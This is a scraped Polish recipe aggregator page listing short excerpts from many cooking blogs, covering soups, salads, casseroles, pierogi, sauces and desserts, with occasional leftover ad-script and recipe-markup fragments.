taniości (12zł!) za ogromne pudło (400g!) a potem może miesiącami stać w lodówce i wierzcie mi – robi robotę! Najprostsza zupa, nie tylko dzisiejsza krewetkowa czy nawet gulasz, sos, warzywa z patelni z jej dodatkiem zyskują zupełnie nowe wcielenie. PRZEPIS OSZCZĘDNA ZUPA TAJSKA Składniki: 1 duża cebula 2 łyżki oleju roślinnego – ja użyłam pachnącego oleju kokosowego 3 litry wody

Dorota Smakuje
Sałatka ze strączkami 139

Paprykę pokrój w kostkę. 4. Wszystkie składniki wrzuć do miski i wymieszaj. 5. Do oliwy dodaj ocet i syrop klonowy, dopraw solą i pieprzem, dobrze wymieszaj i tak przygotowanym sosem zalej sałatkę. Całość jeszcze raz porządnie wymieszaj

Z notatnika dietetyka
Zapiekanka ziemniaczana z boczniakami 194

dostęp do piekarnika, czuję niesamowitą potrzebę wykorzystywania go. Ostatnio robiłem już pieczarki faszerowane i naleśniki zapiekane . Dzisiaj natomiast, na warsztat wjechała zapiekanka ziemniaczana z boczniakami. Skąpana w kremowym, koperkowym sosie, uwodzi swoim zapachem 😊 Porady dotyczące zapiekanki Foremka: ja robiłem w foremce o wymiarach 20×30 cm. Jeśli Twoja jest większa, to zwiększ troszkę proporcje. Użyj ziemniaków młodych lub tych

Blendman
Zapiekanka makaronowa z kurczakiem i warzywami / Rye pasta casserole with chicken and vegetables 102

pieprz, ulubione zioła i wszystko dokładnie wymieszaj, żeby warzywa się lekko zamarynowały. Kurczaka umyj, osusz, powycinaj nieładne kawałki mięsa. Wrzuć do miski i też wymieszaj z marynatą – oliwa, sos sojowy, kilka kropel tabasco, czosnek, sol, pieprz, zioła. Wszystkie warzywa, razem z marynatą wrzucamy na rozgrzaną patelnię, smażymy na sporym ogniu aż warzywa lekko zmiękną. Osobno smażymy pokrojonego buraka

Martyna Cooks
Szpinakowa shakshouka / Sinach shakshouka 111

szpinak straci swoją objętość. Dorzuć na patelnię jogurt wymieszany z fetą pokrojoną w kawałki i czosnkiem przeciśniętym przez praskę. Duś i mieszaj aż na patelni będzie jednolity, gęsty “sos”. Rozłóż powstałą masę równomiernie na dnie patelni, ostrożnie wbij na jej wierzch jajka, tak, żeby żółtka się nie rozlały. Posyp pieprzem. Przykryj pokrywką, najlepiej szklaną, żeby było widać

Martyna Cooks
Rosół drobiowy / Chicken broth 116

Rosół, podstawa podstaw. Baza do wszystkich zup, przydatny przy gotowaniu sosów, pieczeniu mięs. Dzisiaj klasyczny, drobiowy, z którego powstaną dwie zupy – pomidorowa i kokosowa z kurczakiem, ale to w najbliższej przyszłości – dziś rosół gra główną rolę. Przepis niewiele się różni od przepisu na rosół wołowy , który gotowałam jakiś czas temu. Broth, the base of all bases

Martyna Cooks
Puszyste Placuszki Z Cukinii 171

Mieszamy całość do uzyskania niezbyt gęstej konsystencji. 3. Rozgrzewamy patelnie z niedużą ilością oleju i smażymy placuszki na rumiana z oby dwóch stron. Podajemy ze śmietaną/jogurtem, ketchupem lub sosem np. tzatziki. Smacznego !! #durszlakXvegetanatur #vegetanatur #inspirowanenatura

Gotowanie...to proste !
BEZGLUTENOWE PENNE ZE SMAŻONYMI POMIDORAMI – lekko i pysznie! 158

Odcedzamy. Na patelni rozgrzewamy oliwę, dodajemy posiekaną szalotkę oraz czosnek, przesmażamy. Wlewamy passatę pomidorową, doprawiamy solą, pieprzem i odrobiną cukru. Wrzucamy pomidorki koktajlowe, podgrzewamy. Wrzucamy penne, dokładnie obtaczamy w sosie. Podajemy gorące ze świeżą pietruszką i parmezanem. Smacznego! Ps. na opakowaniu makaronu BIO Panne Cereal też znajdziecie fajny przepis na obiad! Zapraszam Was na fanpage marki Schär , gdzie możecie

Ostra na Słodko
Racuchy drożdżowe z żółtym serem i pieczarkami 137

nadzienie możecie urozmaicić o ulubione dodatki, ale koniecznie najpierw wypróbujcie pieczarki oraz ciągnącyyy się seeer! U nas zawsze znikają solo lub z mnóstwem świeżych warzyw. Pasują też do różnych sosów. Polecam! Ps. Jeśli lubicie racuchy na słodko to koniecznie skorzystajcie z przepisu na Racuchy drożdżowe z jabłkami według sprawdzonej receptury mojej mamy - klik . Racuchy drożdżowe z żółtym serem i pieczarkami

Di gotuje
Ryż z pokrzywą – Prosty sposób na pokrzywę 165

pytań zadaje – co z nich zrobić. Najprościej – odpowiadam zwykle – traktować je jak zieleninę (np jak natkę pietruszki), posiekać i dorzucać do gotowania zup, kasz, ryżu, do sosów i potrawek. Pokrzywa w trakcie gotowania a nawet blanszowania czy parzenia wrzątkiem traci swoje właściwości parzące – więc spokojnie, bez obaw, nic złego nam nie zrobi. Jedna, dwie łyżki posiekanej

Dorota Smakuje
Białe gazpacho czyli Ajo Blanco lub Gazpacho Blanco 152

ajoblanco malagueño”, a ci z Kordoby „ajo blanco cordobes”. Jedynie w Almerii podaje się białe gazpacho, „ajo blanco (almeriense)” nie schłodzone, a formie gęstego sosu, którym smaruje się pajdy chleba lub bagietki. Uzupełnieniem tej aromatycznej zupy czosnkowo-migdałowej na zimno są owoce, białe winogrono lub melon, u mnie jest zielony ogórek, więc, aż tak bardzo

RafalCook
SAJGONKI Z ŁOSOSIEM 163

dowolne składniki, następnie zwiń sajgonkę (obejrzyj film na końcu posta) zwinięte sajgonki smaż na głębokim oleju aż będą rumiane (uważaj, bo olej może pryskać) podaj np z SOSEM DO SAJGONEK lub DIPEM Z NERKOWCÓW Z KOLENDRĄ Smacznego! Jak zwijać sajgonki?     (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł SAJGONKI Z ŁOSOSIEM pochodzi z serwisu SandraFrej.com

SandraFrej.com
Ciecierzyca po bretońsku - wegetariańska 165

oliwek 2 liście laurowe 2 ziela angielskie 4 ziarnka pieprzu 1 łyżeczka słodkiej papryki 1 łyżeczka ziół prowansalskich 1/3 łyżeczki ostrej papryki 1 łyżeczka pietruszki suszonej 1 łyżka sosu sojowego sól i pieprz  W garnku rozgrzewamy oliwę dodajemy liście laurowe, ziele angielskie, ziarna pieprzu oraz drobno pokrojoną cebulę. Podsmażamy to przez 3 minuty, a następnie dodajemy odcedzoną ciecierzycę oraz

Emskie Smaki
Rybna zapiekanka po francusku 139

vote ) Rybna zapiekanka po francusku Rybna zapiekanka po francusku, to genialne lekkie i sycące danie. Idealne dla amatorów kremowych, delikatnych, sosów, ryby no i oczywiście ciacha francuskiego. Moja rodzinka uwielbia ciasto francuskie zarówno na słodko jak i w wersjach wytrawnych, lepsze od niego jest tylko ciasto filo które niestety rzadko u nas można złowić w sklepach. Prostota wykonania sprawia

Ogrodnik w podróży
Zupa krem z batatów i dyni 128

papryka słodka mielona 0,5 łyżeczki, kurkuma 0,5 łyżeczki, kozieradka 0,5 łyżeczki, pieprz 1/4 łyżeczki, chili do smaku, sól do smaku, sok z cytryny do smaku, sos sojowy 2 łyżki, natka pietruszki lub lubczyk posiekany 2-3 łyżki, olej do smażenia, woda 7 szklanek, Sposób przygotowania: Cebulę obieramy, drobno siekamy i podsmażamy na oleju, dodajemy przyprawy i chwilkę

kulinarne odsłony pati
Galia z rucollą i prosciutto 198

Lekka sałatka na kolację. Melon Galia musi być bardzo dojrzały, a całości dopełnia sos, którego wykonacie w prosty sposób.… Czytaj dalej Galia z rucollą i prosciutto

Pij soki wyciskane
Chili pomarańczowa polędwiczka wieprzowa 121

polędwiczkę. Przełożyć do naczynia żaroodpornego. Całość pokryć przygotowaną wcześniej mieszanką. Piec w piekarniku rozgrzanym do 180 stopni przez około pół godziny, od czasu do czasu odwracając i polewając powstającym sosem. Podawać na gorąco z ulubionymi dodatkami. Smacznego

Zielona Kuchnia
Meksykański dip z awokado. Przepis na guacamole 250

Jedna z najlepszych rzeczy, jakie możesz zrobić z awokado, to meksykański sos guacamole. Pyszny, a przy tym bardzo zdrowy. Można jeść go jako dip, dodatek do mięs i warzyw, a nawet pastę kanapkową. Mamy dla was oryginalny przepis. Przepis na guacamole Składniki: 2 dojrzałe awokado, pół małej cebuli, 1 ząbek czosnku, sok z połowy limonki (ewentualnie cytryny), 1 papryczka chilli

Kulinarna Polska
3 proste przepisy z łososiem w roli głównej 146

przygotowanie farszu. Ser feta wymieszaj ze skórką cytryny oraz odrobiną kwaśnego soku. Kiedy farsz będzie gotowy, można nakładać go na upieczone gofry. Rukolę oraz rzodkiewkę wymieszaj z winegretem. Sos można przygotować na bazie oliwy, trzech łyżek soku z cytryny, soli oraz mielonego pieprzu. Winegret świetnie wzbogaci smak sałatki. Po jego wymieszaniu z rukolą oraz rzodkiewką przełóż całość na gofry. Smak

Żyję by jeść
Warstwowe pierożki z serem 159

bokami”. W ten sam sposób zrobić pozostałe pierożki. Wyłożyć na blachę wyścieloną matą silikonową. Piec w piekarniku nagrzanym do 180 stopni przez około 20 minut. Podawać z ulubionymi sosami. Smacznego Warstwowe pierożki z serem Warstwowe pierożki z serem Warstwowe pierożki z serem Artykuł Warstwowe pierożki z serem pochodzi z serwisu Kulinarne życie Armine

Smaki Armine
Belgia - Białe szparagi po flamandzku, wersja wegańska (Asperges op Vlaamse Wijze) 151

musztardę i margarynę. Dokładnie mieszamy. Margaryna powinna lekko się rozpuścić pod wpływem ciepła. Dodajemy sól, pieprz i posiekane zioła. Mieszamy. 4) Gotowe szparagi przekładamy na talerz i polewamy naszym sosem z tofu

Roślinożerni urlopowicze
Przyzwyczajenia kulinarne Polaków. Kuchnia Polska 129

kolację również lubimy zjeść coś konkretnego: smażone kiełbaski, bigos , gołąbki , pierogi ewentualnie coś ze sklepu np. pizza . Potrawy obce, które dobrze się u nas przyjmują to makarony z sosami, kebab, lasagne, risotto. Artykuł Przyzwyczajenia kulinarne Polaków. Kuchnia Polska pochodzi z serwisu ProstePesto

ProstePesto.pl
Pieczone szaszłyki z piersi indyka FIT 119

grill. Nie wymagają wielkich zdolności kulinarnych, a smakiem zachwycą każdego. Ich plusem jest to, że spora ilość tłuszczu wytapia się podczas pieczenia. Polecam podawać je z domowym sosem Tzatziki (przepis TUTAJ ). Składniki na ok. 10 szaszłyków: – 700g filetu z piersi indyka lub kurczaka – 300g chudego boczku lub szynki domowej bez E – 10 małych pieczarek – 2 czerwone

Be Fit Be Strong
Przepis na pizze II 159

przeniesieniem na nią pizzy (ciasto się mniej przykleja do tacki), a także dobra organizacja pracy i jak najkrótszy czas przebywania ciasta na tacce . Również po dodaniu zbyt dużej ilości sosu pomidorowego i mokrych składników będziemy mieć trudności ze zsunięciem ciasta na kamień do pizzy. W zależności od grubości ciasta i ilości dodatków pieczemy pizze około 4-6 minut . Poznamy

WegePrzepis
Keto naan (wegańskie) 168

Ogólnie rzecz biorąc keto naan można jeść ze wszystkim – z sałatką , pastą czy też z dipem . W kuchni indyjskiem są częstym dodatkiem do dań z dużą ilością sosu. Według mnie keto naan świetnie smakuje z jogurtem greckim i warzywami takimi jak cebula, papryka oraz obowiązkowo kolendra! Kaloryczność dla całości 274 kcal Białko 12 g Tłuszcze 12 g Węglowodany

WegePrzepis
Najlepsza sałatka ziemniaczana z kiszonymi ogórkami 157

cienkie piórka, ogórki w kostkę. Przekładamy do miski. W miseczce mieszamy jogurt naturalny z musztardą i drobno posiekanym ząbkiem czosnku, doprawiamy solą i pieprzem. Nasze warzywa w misce zalewamy sosem, mieszamy, posypujemy posiekaną pietruszką.   Najlepsza sałatka ziemniaczana z kiszonymi ogórkami

Kuchnia na wzgórzu
Wegańska carbonara 194

zacznie się rumienić. W międzyczasie zmiksuj mleko sojowe, mąkę z ciecierzycy, płatki drożdże, cebulę w proszku, ocet i sól. Następnie dodaj mieszankę ciecierzycy na patelnię i mieszaj, aż sos zgęstnieje. Sugeruję dodanie odrobiny wody z makaronu, ponieważ zbyt szybko gęstnieje. Dodaj ugotowany makaron i dobrze wymieszaj. Podawaj i udekorowany świeżo zmielonym czarnym pieprzem, świeżym lub suszonym oregano oraz suszonymi pomidorami

365 dni dookoła kuchni
Mini gołąbki w młodej kapuście 224

czasie zdejmujemy pokrywkę, dodajemy posiekany koperek, mieszamy *** *** Dodajemy przecier pomidorowy, ponownie mieszamy *** *** Całość doprawiamy solą oraz pieprzem do smaku i gotujemy jeszcze przez kilka minut bez przykrycia, aby sos trochę odparował i zgęstniał *** *** Podajemy z ziemniaczkami lub ze świeżym pieczywem *** *** SMACZNEGO ***     POLECAM TAKŻE: DANIA JEDNOGARNKOWE – POMYSŁY NA SZYBKIE I PYSZNE OBIADY KLIKNIJ TUTAJ POMYSŁY NA NIEDZIELNY I ŚWIĄTECZNY

Blog z Apetytem
Kopytka 263

koniec gotowania możesz wyciągnąć jedną kluskę i spróbować, czy jest ugotowana. Zrobiłeś ten przepis? Oznacz @ugotuj.przepis na Instagramie i hashtagiem: #UgotujPrzepis Kopytka podawaj na ciepło do dań mięsnych, z sosami, owocami, lub masłem i cukrem. Z czym Ty podasz swoje? Ten przepis Kopytka pochodzi z serwisu Przepisy kulinarne

ugotuj-przepis.pl
Karkówka pieczona w marynacie 169

marynacie, którą zazwyczaj wykorzystujemy do przygotowywania grillowych kąsków. W domowych warunkach dorodny kawałek wieprzowiny upiekliśmy w piekarniku, mięso jest mięciutkie, kruche, a dodatkowym atutem takiego przygotowania jest przepyszny sos, którym można polać tłuczone ziemniaki. Udostępnij Karkówka pieczona w marynacie – składniki 1 1 / 2 kg karkówki 4 ząbki czosnku 3 łyżki pikantnego ketchupu 2 łyżki ostrej musztardy 2 łyżki chrzanu

niecodziennikpary
Hmorapatik- szparagi w cieście po ormiańsku 196

szparagi i odwrócić na drugą stronę. Smażyć przez kolejne 2-3 minuty, aż się ciasto zarumieni. W ten sam sposób usmażyć resztę szparagów. Podawać jako przekąskę z ulubionymi sosami, lub jako dodatek do dań rybnych i mięsnych. Smacznego Hmorapatik- szparagi w cieście po ormiańsku Hmorapatik- szparagi w cieście po ormiańsku Hmorapatik- szparagi w cieście po ormiańsku Hmorapatik- szparagi w cieście

Smaki Armine
Surówka wiosenna 132

myjemy, rwiemy na kawałeczki. Pomidorki myjemy,m tniemy na ćwiartki. Wszystko ze sobą łączymy. Majonez w osobnej miseczce łączymy z jogurtem, musztardą i koperkiem i mieszając z przyprawami robimy sos. Polewamy nim surówkę

Kuchnia Pełna Emocji
Makaron z tuńczykiem , marchewką i kukurydzą 140

czasu ile wymaga ugotowanie makaronu- a więc, kto głodny i zapracowany  - zapraszam:) Makaron z tuńczykiem, marchewką i kukurydzą - 200g makaronu ( jakiegolowiek u mnie wstążeczki) - 1 puszka tuńczyka w sosie własnym - 1 duża marchew lub dwie małe - pół puszki kukurydzy - kilka pomidorków koktajlowych - sól, pieprz do smaku - 1 łyżka oleju Makaron gotujemy według przepisu na opakowaniu . Ma być ugotowany

Kuchnia Pełna Emocji
Pierogi w syropie karmelowo- cynamonowym 110

jakże odmiennym wydaniu. Zdaniem mojego małżonka to najlepsza wersja pierogów z serem jakie jadł. Jeśli lubicie słodkości to koniecznie wypróbujcie mój przepis na pierożki. Zapraszam. Pierogi z serem w sosie karmelowo-cynamonowym Ciasto: -  300g mąki + do podsypania - 2 łyżki gęstego jogurtu naturalnego greckiego -szklanka ciepłej wody - pół łyżeczki soli Farsz: - 2 kostki półtłustego twarogu ( 250g) - 4 łyżki cukru

Kuchnia Pełna Emocji
Bogracz 109

Dziś moja wersja bogracza. Jest bardzo łagodna ale jeśli chcecie mieć ostrzejszą wersję wystarczy dodać do zupy sosu tabasco jak mój mąż i już macie ten smaczek :D. Teraz jest lekki mrozik więc taka rozgrzewająca zupka z dodatkową bagietką pełnoziarnistą na pewno Was doskonale rozgrzeje. Bogracz - 70dkg wołowiny ( u mnie łopatka) - 2 papryki  czerwone ( ale ja na przekór wzięłam

Kuchnia Pełna Emocji
Gofry jogurtowo - miodowe 136

Dziś na deserek pyszne, lekkie gofry z miodem zamiast cukru. Na pierwsze jesienne przeziębienia miód jest składnikiem wręcz nieocenionym i bezcennym. Do tego w skład , zarówno gofrów jak i sosu wchodzi jogurt naturalny czyli samo zdrowie ;). Mała rada przy tym przepisie - jeśli chcecie mieć gofry a nie jakieś " ciapciaki" koniecznie musi być nieco gęstsze ciasto niż do zwykłych gofrów ;) Gofry

Kuchnia Pełna Emocji
Kurczak w białym sosie 110

więc na dobre się rozkręcę, zachęcam do spróbowania , szybkiego i sycącego dania z kurczaka. Nie jest to danie dietetyczne ale bardzo smaczne i szybkie w wykonaniu :) Kurczak w białym sosie: - 500 g piersi z kurczaka - 3 duże ząbki czosnku - 2 małe czerwone papryki - pęczek szczypiorku - po łyżeczce bazylii i estragonu - 330 ml śmietany 12% - 250 ml wody - 2-3 łyżki

Kuchnia Pełna Emocji
Sałatka z pora II 144

kostkę taką samą jak jajka i ogórki. Wszystko wrzucam do miski. Dokładam do tego kapustę, odsączony groszek i mieszam. Z majonezu, jogurtu, musztardy, miodu, soli i pieprzu robię sos ( oczywiście poprzez dokładne wymieszanie składników). Dodaję go do sałatki i dokładnie mieszam

Kuchnia Pełna Emocji
Klopsiki gotowane wg diety 5 przemian 195

Chwilę gotuję po czym dodaję sól do smaku  i gotuję 20 min. Dodaję szczyptę bazylii i pietruszkę ( można dodać koperek i majeranek). W oryginalnym przepisie stoi, że można sos zagęścić mąką pszenną i dodać masła. Ja tego nie robię bo zwyczajnie nie lubię i wydaje mi się to trochę za tłuste. Wam zostawiam według uznania

Kuchnia Pełna Emocji
FOCACCIA BUKIET KWIATÓW 122

Focaccia to potrawa kuchni włoskiej. Podstawą jest ciasto do pizzy. Nie ma jednak sosu ani sera. Ta wersja to focaccia inspirowana kwiatami i wiosną. Składniki: 3 szkl. mąki pszennej 1 op. drożdży instant 1 łyżeczka cukru 1 szklanki cieplej wody 6 łyżek oliwy łyżeczka soli 1 łyżeczka vegeta natur z koperkiem DODATKOWO: pomidorki 1 czerwona cebula kilka oliwek kawałek zielonego

Kuchnia w oparach
Eton mess aux fraises truskawkowy deser z bezą 135

Usun\u0105\u0107 szypu\u0142ki i podzieli\u0107 truskawki na 2 cz\u0119\u015bci."},{"@type":"HowToStep","text":"Po\u0142ow\u0119 truskawek zblendowa\u0107 z drobnym cukrem na g\u0142adki sos. Drug\u0105 po\u0142ow\u0119 truskawek pokroi\u0107 w kostk\u0119 lub plasterki."},{"@type":"HowToStep","text":"Sch\u0142odzon\u0105 \u015bmietank\u0119 30 % ubi\u0107 mikserem na sztywn\u0105 pian\u0119

ProstePesto.pl
PIECZONE PIERSI KURCZAKA 170

minut. W zależności od grubości mięsa, piersi mogą być gotowe już po 35 minutach. Podczas pieczenia piersi nie przekręcam na drugą stronę, jedynie polewam 1-2 razy powstałym sosem, ale nie jest to konieczne. Pieczone piersi kurczaka podaję na talerzu w całości lub pokrojone w plastry. Smakują z ziemniakami, ryżem lub kaszą oraz surówkami, buraczkami, warzywami z wody, sałatą

Zasmakuj Kuchni
Polędwiczki w pieprzu cytrynowym 197

niech nie zamienią się w suchy wiór). Na koniec dodaj łyżeczkę masła i możesz zakończyć całą procedurę. Lub wymieszać łyżeczkę mąki ziemniaczanej z odrobiną wody i zagęścić, żeby powstał sos (polecam

Cytryna&Co.
Focaccia 233

Focaccia – potrawa kuchni włoskiej, jest to rodzaj pieczywa, będącego podstawą pizzy (bez sera i sosu pomidorowego – samo ciasto). Każdy region Włoch może się pochwalić inną odmianą focaccia, od suchego, z solą, ziołami (rozmaryn, szałwia) polanego oliwą ciasta, do pulchnego z suszonymi pomidorami i oliwkami. Zazwyczaj podawane na ciepło. Focaccia podawane jest przed posiłkiem dla zaspokojenia pierwszego głodu oraz do innych

Oka w rosole czyli KaFka gotuje
z młodej kapusty pieczone gołąbki... 164

200C około 40 minut, grzanie góra/dół, brytfanki zostawić w piekarniku do wystygnięcia, najlepiej piec wieczorem i zostawić do rana - z młodej kapusty gołąbki pieczone w piekarniku w sosie pomidorowym są najlepszymi gołąbkami, lubimy na ciepło i na zimno.........SMACZNEGO!!! #durszlakXvegetanatur #vegetanatur #inspirowanenatura

W Mojej Kuchni Lubię
Kurczak po włosku z patelni / Italian style Chicken Skillet 143

sprawdzi się oczywiście bazylia, ale natka pietruszka też dobrze komponuje się w potrawie. Kurczak po włosku świetnie smakuje z ryżem lub ziemniakami, możecie go też podać z makaronem (w sosie albo pesto lub zapiekanym z serem), także z zestawem surówek lub sałaty. Smacznego:) Jeśli lubicie kurczaka po włosku, wypróbujcie też mojego kurczaka a la pizza: Kurczak po włosku z patelni

Lekcje w kuchni
Polędwiczki drobiowe i tzatziki 198

Lekkie danie obiadowe na upalne dni. Dobrze przyprawione mięso drobiowe ze schłodzonym, aromatycznym sosem tzatziki i dodatkiem kaszy jaglanej.… Czytaj dalej Polędwiczki drobiowe i tzatziki

Pij soki wyciskane
Olej sezamowy. Co warto o nim wiedzieć? 140

zachwyca swą wartością odżywczą, zatem sięganie po przepisy na dania z takim dodatkiem każdemu z nas wyjdzie na zdrowie. Olej ten świetnie sprawdza się jako dodatek do sałatek oraz sosów, można go też wykorzystać podczas przyrządzania dań mięsnych. Co ważne, lepszy smak takich potraw nie jest jedynym powodem, dla których warto po ten olej roślinny sięgnąć. Olej z sezamu

ProstePesto.pl
PLACKI CUKINIOWE Z MARCHEWKĄ 138

smaczne, na każdą okazję. Placki cukiniowe z marchewką świetnie smakują podane z gęstą śmietaną lub śmietaną wymieszaną z drobnym cukrem lub cukrem pudrem. Placki można podawać także z jogurtem, sosem tatarskim, pomidorowym lub ketchupem. Do placków śmiało możecie dorzucić posiekany mały pęczek koperku lub natki. Smakują odgrzane następnego dnia w piekarniku. Placki cukiniowe z marchewką SKŁADNIKI: 2 cukinie

Zasmakuj Kuchni
Hummus ze szparagami 189

Ostatnio przygotowywane szparagi z sosem holenderskim okazały się dość twarde po odłamaniu główek i zostało dużo końcówek. Nigdy ich nie wyrzucam i zawsze przerabiam, dodając do gulaszu lub gotując z nich zupę-krem . Tym razem jednak postanowiłam wykorzystać je do hummusu, który jest ostatnio podstawą moich kanapek. A że udało mi się ostatnio uzupełnić zapas ciecierzycy, od razu przygotowałam

Weekendy w domu i ogrodzie
Szparagi w płatach lazanii zapiekane pod beszamelem 138

pieprz Masło roztapiamy na średnim ogniu. Dodajemy mąkę, smażymy, cały czas mieszając przez około 2-3 minuty. Następnie wlewamy mleko, bulion oraz śmietankę. Gotujemy, często mieszając, aż do zgęstnienia sosu. Doprawiamy do smaku solą, pieprzem oraz szczyptą gałki muszkatołowej. Makaron gotujemy w osolonym wrzątku przez około 4-5 minut (powinien być elastyczny). Odcedzamy, rozkładamy pojedynczo, aby płaty nie posklejały się

Smaki Na Talerzu
Budyniowy ryż na mleku 167

bazie domowego budyniu, na mleku kokosowym i krowim. Deser nie spływa z łyżeczki, a w konsystencji przypomina pudding. Uwierzcie mi na słowo, poniższy deser świetnie smakuje podany z domowym sosem owocowym (np truskawkowym, malinowym).  Składniki na 4 porcje: 2 szklanki mleka roślinnego, np. kokosowego (nie z puszki!) 1 szklanka zwykłego mleka 1 woreczek ugotowanego ryżu basmati (waga przed gotowaniem

Ugotować
Makaron z szynką + film 135

szynki i cebuli dodajemy śmietanę, całość doprawiamy do smaku suszoną bazylią, odrobiną soli oraz czarnym pieprzem, wszystko mieszamy i dusimy jeszcze przez około 2 minuty. Ugotowany makaron dodajemy do sosu śmietanowego z szynką i wszystko dokładnie razem łączymy, po czym zdejmujemy z ognia. Tak przygotowany makaron umieszczamy na talerzach posypujemy startym żółtym serem i posiekaną natką pietruszki.   Artykuł Makaron

Smakowite Dania
Jadalne chwasty – Gwiazdnica i gulasz z ciecierzycy 153

oliwie podsmażamy cebulę posiekaną drobno. Następnie do cebuli dodajemy pomidory i przeciśnięte przez praskę ząbki czosnku. Dodajemy tez oregano, sól i pieprz. Wszystko gotujemy kilka minut. Potem do sosu pomidorowego wrzucamy ciecierzycę z woda w której się gotowała. Dodajemy tez ogórki pokrojone w kostkę i posiekaną gwiazdnicę. Gotujemy 5 minut. Finalnie doprawiamy do smaku. Artykuł Jadalne chwasty – Gwiazdnica

Dorota Smakuje
Makaron penne z papryką i boczkiem 201

pieprz do smaku Dusić kilka minut /do miękkości papryki,w razie potrzeby podlać odrobiną wody/. Makaron penne ugotować al’dente,  odcedzić i przełożyć  do gotowego sosu. Starannie wymieszać  i wyłożyć na talerze. Posypać startym serem i ozdobić listkami bazylii

Zakamarki mojej kuchni
Sałatka ziemniaczana teściowej 140

pietruszki również kroimy w kostkę, ale drobną. Fasolę odsączamy z zalewy. Ogórki i cebulę kroimy w drobną kostkę. Majonez, śmietanę, musztardę i przyprawy mieszamy ze sobą. Wszystkie warzywa oraz sos przekładamy do jednej miski i mieszamy dokładnie. Na koniec próbuję sałatkę i jeszcze ewentualnie doprawiam do smaku. Sałatkę odkładamy do lodówki co najmniej na godzinę, aby smaki się „przegryzły

e-PrzepisyKulinarne
Makaron z białą kiełbasą i kolorową papryką 164

papryka zmięknie, dodajemy na patelnię passatę pomidorową, roztarte w dłoniach oregano oraz ugotowany makaron. Doprawiamy do smaku solą oraz pieprzem i wszystko dokładnie mieszamy aby pokryło się sosem pomidorowym.   Kulkę mozzarelli rozrywamy w palcach na mniejsze kawałki i układamy na wierzchu makaronu z dodatkami. Przykrywamy wszystko przykrywką i dusimy jeszcze wszystko 3 minuty, na średnim ogniu, aż ser się

Smaczna Strona
Kluski śląskie z wędzonym pstrągiem i jarmużem 167

Kluski śląskie kojarzą się z sosem pieczeniowym, duszonym mięsem i modrą kapustą. Ale kluski śląskie świetnie sprawdzą się również w wersji bezmięsnej. Przykładem takiego dania.. Czytaj więcej: Kluski śląskie z wędzonym pstrągiem i jarmużem The post Kluski śląskie z wędzonym pstrągiem i jarmużem appeared first on Moja Delicja

Moja Delicja
Relish z papryki i buraki pieczone 164

sałatkę czy buraka nawet w plastrach na kanapki, wyjmuję i raz dwa mam gotowe buraki. Dzięki tej metodzie swoją dzisiejsza sałatkę zrobiłam w kilka chwil. Pieczone buraki plus tytułowy sos paprykowy to naprawdę pyszne połączenie smakowe. Relish to produkt z marynowanych, rozdrobnionych warzyw, owoców czy ziół. Zwykle traktuje się go jako dodatek do potraw, który wzmocni czy podkreśli ich smak

Dorota Smakuje
Sałatka z tuńczykiem i fasolą 230

Przepis na sałatkę pochodzi z bloga Zielona Kuchnia, idealnie sprawdziła się na świątecznym stole i na pewno zagości w naszym menu na stałe 🙂 Składniki: 1 puszka tuńczyka w sosie własnym … Czytaj dalej Sałatka z tuńczykiem i fasolą

czarrna od kuchni
Kotlety ryżowe z mozzarellą 142

przygotować tak by przypominały włoskie kulki ryżowe arancini. Do środka dał nawet po kawałku mozzarelli i usmażył w głębokim tłuszczu. Dzięki temu zyskał chrupiącą skórkę. Było pysznie, szczególnie z sosem pomidorowym. Czytaj więcej

Bernika - moj kulinarny pamietnik
Koktajl z grejpfrutem, pomarańczą i bananem 147

możesz wrzucić kilka kostek lodu, dodać go bezpośrednio do szklanek lub wstawić napój na pół godziny do lodówki.   (adsbygoogle = window.adsbygoogle || []).push({}); Polecam też… Sałatkę owocową z malinowym sosem Sałatkę Caprese Lody z arbuza Nalewkę brzoskwiniową Domowy napój pomarańczowy

Kulinarny S.O.S.
Koktajl z grejpfrutem, pomarańczą i bananem 147

możesz wrzucić kilka kostek lodu, dodać go bezpośrednio do szklanek lub wstawić napój na pół godziny do lodówki.   (adsbygoogle = window.adsbygoogle || []).push({}); Polecam też… Sałatkę owocową z malinowym sosem Sałatkę Caprese Lody z arbuza Nalewkę brzoskwiniową Domowy napój pomarańczowy

Kulinarne S.O.S.
Sałatka gyros - Idealna sałatka na grilla lub na domową imprezę 174

przekładam na talerz i odstawiam do wystudzenia. Wystudzone mięso dodaję do sałatki, dodaję wypłukaną i osączoną kukurydzę. Do majonezu dodaję ketchup, doprawiam solą, pieprzem i dokładnie mieszam. Tak przygotowany sos dodaję do sałatki i dokładnie mieszam. Po wymieszaniu sprawdzam smak i jeżeli trzeba to doprawiam, sałatka jest gotowa. Sałatka gyros jest gotowa, życzę smacznego. Pozdrawiam Babcia Ewa (adsbygoogle = window.adsbygoogle || []).push

Uwaga Babcia Gotuje
Awokado 121

Awokado Obraz Steve Buissinne z Steve Buissinne z Pixabay Ten popularny ostatnio w Polsce owoc zawdzięcza sławę na kuchnie meksykańską. Utarte awokado wchodzi w skład sosu guacamole. Owoce awokado dojrzewają dopiero po zerwaniu z drzewa. Jest doskonałym źródłem witaminy E i potasu. Zawiera również jednonienasycone kwasy tłuszczowe. Niestety jest bardzo kaloryczne (ze względu na dużą zawartość tłuszczu), 100g to około

Pomysłowa kuchnia
Ratatouille 169

cebulę i czosnek. Następnie wrzucić pomidory , paprykę, doprawić solą, pieprzem, ziołami i dusić aż warzywa zaczną się rozpadać. Piekarnik rozgrzać do 180 stopni. Naczynie do zapiekania wysmarować oliwą, wylać sos, następnie układać dookoła, naprzemiennie, pokrojone w plastry warzywa. Przykryć papierem do pieczenia i zapiekać 1,5h. Podawać gorące, opcjonalnie posypane parmezanem. Jako dodatek chrupiąca czosnkowa bagietka, ryż lub samodzielnie. Smacznego

gotuj ze mną
Szaszłyk z krewetek na placuszkach z czerwonej soczewicy i quinoy i soczysta sałatka 191

cytryny, 1czubatą łyżeczką Vegety Natur, przeciśniętym przez praskę czosnkiem i odrobiną pieprzu, mieszamy energicznie aż składniki dobrze się połączą. Sałatę rwiemy, warzywa kroimy na plasterki, posypujemy kiełkami lucerny, polewamy sosem i nakładamy na talerze. Podajemy placuszki oraz krewetkowe szaszłyki i danie gotowe :) Smacznego i udanego długiego weekendu :)   #durszlakXvegetanatur #vegetanatur #inspirowanenatura

Quinoa Raz!
Roladki z tortilli z kurczakiem 142

